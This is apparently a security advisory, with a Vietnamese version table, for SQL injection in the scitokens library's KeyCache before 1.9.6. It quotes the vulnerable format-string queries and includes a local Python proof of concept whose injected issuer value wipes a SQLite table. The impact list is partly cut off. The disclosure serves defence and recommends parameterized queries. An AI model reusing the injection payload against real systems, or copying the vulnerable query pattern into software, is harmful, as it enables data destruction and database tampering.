| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| scitokens | < 1.9.6 | 1.9.6 |
| scitokens library | < 1.9.6 | 1.9.6 |
The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.
Ran the POC below locally.
File: src/scitokens/utils/keycache.py
1. In addkeyinfo (around line 74):
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
2. In _addkeyinfo (around lines 89 and 94):
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
'{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
keydata=json.dumps(keydata), next_update=time.time()+next_update))
3. In _delete_cache_entry (around line 128):
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
key_id))
4. In _add_negative_cache_entry (around lines 148 and 152):
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
'{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
keydata=keydata, next_update=time.time()+cache_retry_interval))
5. In getkeyinfo (around lines 193 and 198):
key_query = ("SELECT * FROM keycache WHERE "
"issuer = '{issuer}'")
# ...
curs.execute(key_query.format(issuer=issuer, key_id=key_id))
import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
def poc_sql_injection():
print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
# We will demonstrate the vulnerability by manually executing the kind of query
# that WAS present in the code, showing how it can be exploited.
# Setup temporary database
fd, db_path = tempfile.mkstemp()
os.close(fd)
conn = sqlite3.connect(db_path)
curs = conn.cursor()
curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
# Add legitimate entries
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
conn.commit()
curs.execute("SELECT count(*) FROM keycache")
print(f"Count before injection: {curs.fetchone()[0]}")
# MALICIOUS INPUT
# The original code was:
# curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
malicious_issuer = "any' OR '1'='1' --"
malicious_kid = "irrelevant"
print(f"Simulating injection with issuer: {malicious_issuer}")
# This simulates what the VULNERABLE code did:
query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
print(f"Generated query: {query}")
curs.execute(query)
conn.commit()
curs.execute("SELECT count(*) FROM keycache")
count = curs.fetchone()[0]
print(f"Count after injection: {count}")
if count == 0:
print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
conn.close()
os.remove(db_path)
if __name__ == "__main__":
poc_sql_injection()
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíAn attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:
ATTACH DATABASE to write a malicious file).Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).